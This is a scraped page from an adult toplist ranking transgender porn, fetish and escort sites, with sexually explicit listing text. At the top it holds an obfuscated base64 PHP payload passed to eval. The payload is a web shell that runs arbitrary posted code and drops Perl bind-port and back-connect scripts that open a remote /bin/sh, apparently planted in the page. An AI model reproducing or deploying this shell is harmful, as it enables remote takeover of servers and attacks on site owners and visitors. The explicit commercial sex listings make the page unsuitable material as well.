clpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4 ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmha R1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBp WlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0 b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2Nw T3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVS RVZTVWlrNyI7CgkkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5 SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlE UXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JV Rk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldG MFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlT UlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNT VTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FY TjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUds c1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNw S1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtL VHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lq NG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNS VFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZN VEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7Cgll Y2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJPGZvcm0gbmFt ZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0 dXJuIGZhbHNlO1wiPgoJPHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2ggW3BlcmxdPC9zcGFuPjxi ci8+CglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4g PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+Cgk8L2Zvcm0+Cgk8Zm9ybSBuYW1lPSduZnAn IG9uU3VibWl0PVwiZyhudWxsLG51bGwsJ2JjcCcsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0 LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+Cgk8c3Bhbj5CYWNrLWNvbm5lY3QgIFtwZXJsXTwvc3Bh bj48YnIvPgoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0n Ii4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcg bmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+ Cgk8L2Zvcm0+PGJyPiI7CglpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CgkJZnVuY3Rpb24gY2Yo JGYsJHQpIHsKCQkJJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9w dXRfY29udGVudHMnKTsKCQkJaWYoJHcpCXsKCQkJCUBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUo JHQpKTsKCQkJCUBmY2xvc2UoJHcpOwoJCQl9CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBw JykgewoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKCQkJJG91dCA9IHdzb0V4KCJw ZXJsIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsKCQkJ ZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBicC5wbCIp LiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsKCQkJY2YoIi90bXAv YmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7CgkJCSRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JjLnBs ICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsK CQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5w bCIpLiI8L3ByZT4iOwoJCX0KCX0KCWVjaG8gJzwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQpmdW5j dGlvbiBhY3Rpb25SQygpIHsKCWlmKCFAJF9QT1NUWydwMSddKSB7CgkJJGEgPSBhcnJheSgKCQkJ InVuYW1lIiA9PiBwaHBfdW5hbWUoKSwKCQkJInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCks CgkJCSJ3c29fdmVyc2lvbiIgPT4gVkVSU0lPTiwKCQkJInNhZmVtb2RlIiA9PiBAaW5pX2dldCgn c2FmZV9tb2RlJykKCQkpOwoJCWVjaG8gc2VyaWFsaXplKCRhKTsKCX0gZWxzZSB7CgkJZXZhbCgk X1BPU1RbJ3AxJ10pOwoJfQp9CmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQoJaWYoaXNzZXQoJGRl ZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rp b24pKQoJCSRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwoJZWxzZQoJCSRfUE9TVFsnYSdd ID0gJ1NlY0luZm8nOwppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMo J2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQoJY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BP U1RbJ2EnXSk7CmV4aXQ7";@eval(base64_decode($index));?>
| RANK | SITE | IN | OUT |
| 1 |
![]() SMOKING QUEEN IS BACK!! Fetish Trans, Pantyhose, Stockings, Smoking, Kinky Sex! Free Pictures | 71 | 16 |
| 2 |
![]() All Transsexual Sex Best Free Xxx Transsexual Resource | 32 | 19 |
| 3 |
![]() Shemale Canada Canadian shemales Transexuals and TV's, Escorts and more | 28 | 16 |
| 4 |
![]() LADY TRANS MAGAZINE MEGA PHOTO SITE, Amateurs, Escort, Contacts, Videos, WEEKLY UPDATED and More | 23 | 16 |
| 5 |
![]() SHEMALE MANIA 800+ high quality images of the hottest transexuals on the net! All photos broken up into 5 themed categories. Site updated monthly. A Must See! NO BULLSHIT!! NO POP-UPS!! | 22 | 23 |
| 6 |
![]() Naughty-Pages.com TS, TV, CD Site! Transexuals Transvestites and Crossdressers | 21 | 21 |
| 7 |
![]() Shemales Amateurs More than 250 tgirls and 700 pics to meet love | 21 | 24 |
| 8 |
![]() Kinky Shemale Natasha Del Rio, Britain's Kinkiest Shemale: Oral,Anal,Cum,Gang,Watersports,Smoking Pics. | 17 | 6 |
| 9 |
![]() Custom Shemale Photos and Videos You write the Script and We make your dreams come true! | 16 | 16 |
| 10 |
![]() Tranny Hooker Sabina's TV Pages I´m the Blonde Tranny Hooker Sabina from Sweden. Cum and see my long smooth LEGS and my tight little ASS. Loads of SEXY PICS, and it's NOT a paysite... | 14 | 20 |
|
|||

| 11 |
CrossDressing Photos >>> CrossDressing Men <<< | 14 | 13 |
| 12 |
A PIONEER OF TGIRL PORN YOUR WEB MISTRESS 1st. WEBCAM ON THE PLANET SINCE 1996 | 13 | 53 |
| 13 |
Shemale Foot and Pantyhose Fetish Videos Exclusive Downloadable Transsexual foot and pantyhose fetish video clips | 13 | 11 |
| 14 |
BLACK SHEMALES Free Pics Of Sexy Black Big Ass Shemales! | 11 | 0 |
| 15 |
>>> Sissy Crossdresser Galleries <<< Its the golden nugget, a huge FREE collection of sissy and crossdressing photos. | 9 | 8 |
| 16 |
Crossdressers.net 100% Free collection of crossdressers personal homepages from all around the world. | 8 | 15 |
| 17 |
Feet4ALL Shemale Foot and Pantyhose Fetish Forums - Free Mem Online Fetish Community. Browse and share your images and stories for free | 8 | 7 |
| 18 |
FemmeWorship.Com's Top Links *Transgender *BDSM *Fetish Sites | 8 | 8 |
| 19 |
Shemale Sammi Sexy Cum Sucking Cock Loving GENUINE Shemale. More than 1500 XXX hardcore pics and vids. Free Galleries | 8 | 7 |
| 20 |
TRANSEXUAL ERECTIONS Sexy Girls With Big Stiff Dicks | 6 | 3 |

| 21 |
Crossdressers Corner A Special Place For Sissy Girls! | 6 | 6 |
| 22 |
Melanies TV Zone The complete T girl site - no fakes - its all real plus chat | 5 | 2 |
| 23 |
Sexy TS Girls The sexiest Transsexual girls from all over the world. Free Galleries and Links! | 5 | 8 |
| 24 |
Amazing Suzana T-Girl With LARGE DICK 8˝ inches Domination and Bondage are my Specialities. I Guarantee you a Great, Super HARD ON, if you can Take | 4 | 5 |
| 25 |
"HOTV" The Best Amateur Tranny Website HOTV The most ancient tranny website porn comes back with many new photos and free pics | 4 | 9 |
| 26 |
Trans World Sex Free The best site of Shemales in the World and FREE!!! | 3 | 0 |
| 27 |
Crossdressing men Beautiful Feminine Crossdressing Boys | 3 | 19 |
| 28 |
Melanies TG Escorts FREE Worldwide TG & TS Escort listings. | 3 | 2 |
| 29 |
Shemales for Safe Sex Shemales that travel the world and some that just stay home and want to meet nice guys. | 3 | 1 |
| 30 |
~Alicia's Little Alley~ I'm a hot, classy all natural 36B-29-39 Transsexual the best of both worlds, Mistress Alicia awaits you! Free Site! Live webcam! | 3 | 4 |
| 31 |
Beautiful T*s in The World Free Pics from Pay Sites, 100% legal & free... | 2 | 2 |
| 32 |
Private tranny Best xxx video action featuring the sexiest young trannies of the Web! | 2 | 5 |
| 33 |
TransGallery TransGallery, transexuals free sex pics, video and SHEMALES SEX. daily Updated | 2 | 4 |
| 34 |
Black Tranny A blog about all those nice black shemales with a pictures and videos galleries collection. Big boobs, big dick the perfect combo! | 2 | 2 |
| 35 |
TRANZACTION - THE ORIGINAL SHEMALE PORTAL SHEMALES GALORE - WE TRY HARDER TO MAKE YOU HARD! | 2 | 0 |
| 36 |
Christina Darling Shemale Escort Site of Christina Darling, Escort, Model, Porn Star | 2 | 0 |
| 37 |
Lindsays TG Video Hot Transexuals candid camera and video files | 1 | 0 |
| 38 |
SHEMALE WHORE HEAVEN TRIPLE XXX HARDCORE ACTION - FREE GALLERIES & FREE DOWNLOADABLE MOVIE CLIPS ::: SO BREAK OUT THE LUBRICATION JELLY AND GET READY TO START JACKING YOUR COCK OFF ::: | 1 | 8 |
| 39 |
AsianShemalesXXX.com - Highly Recommended!!! Stunning, All-Asian Shemales and Ladyboys from China, Japan, Korea, Thailand, Vietnam and more!!! WOW!!!! | 1 | 7 |
| 40 |
Shemale puzzle Breathtaking scenes of dirty sex featuring yummiest brazilian trannies. | 1 | 6 |
| 41 |
Free Shemale Galleries Free Galleries of the Hottest Shemales on the Net | 1 | 2 |
| 42 |
Shemales And Girls Shemale adventures -in the offices, universities, hospitals, construction sites, cafes | 1 | 2 |
| 43 |
ALL CZECH ESCORTS The best czech agencies and girls only for you…. | 1 | 2 |
| 44 |
Lisa Lawrence Pics and movies of the pretty shemale Lisa Lawrence | 1 | 6 |
| 45 |
Sandi's Fantasy Gallery Free Fantasy thumbnail gallery | 1 | 0 |
| 46 |
Ultimate Shemale Links The definitive Shemale resource. Escorts, Domination, Pay Sites, Free Sites, Free Sites, and Forums. | 1 | 2 |
| 47 |
FREE ASIAN LADYBOY GALLERIES 100's of Free Galleries with 1000's of Pics of the Hottest Asian Ladyboys On the Web! | 1 | 4 |
| 48 |
ModelTs URNotAlone The Hottest Transvestites, Shemales and Crossdressers - FREE Profiles from all over the world! | 1 | 1 |
| 49 |
S H E M A L E X S T R E A M S Never pay per minute for streaming Shemale videos again ! Hours and hours of hardcore Shemale action plus 100s & 100s of images for $ 6.95/mo. Updated regularly ! | 1 | 7 |
| 50 |
FREE Shemale Movies Free shemale video galleries. More then 250 free galleries! | 1 | 0 |

| Everyone meet Jamie! Jamie is quite the Looker and also knows her way around a computer very well. Thank you Jamie for letting me be your Web Hostess Love Leda... |
| 51 |
Rhinestone Heaven Crossdress and Bend Your Gender with our outrageous collection of standard and plus size rhinestone jewelry including chokers, necklaces, bras and skirts. | 1 | 2 |
| 52 |
New SENRI'S LOUNGE Hottest Japanese Shemale Pics & Movies / International Transgender Girls Image Post - All Free! | 1 | 6 |
Last Updated: 3:28:10pm 5/13/110
547 Sites In Our Database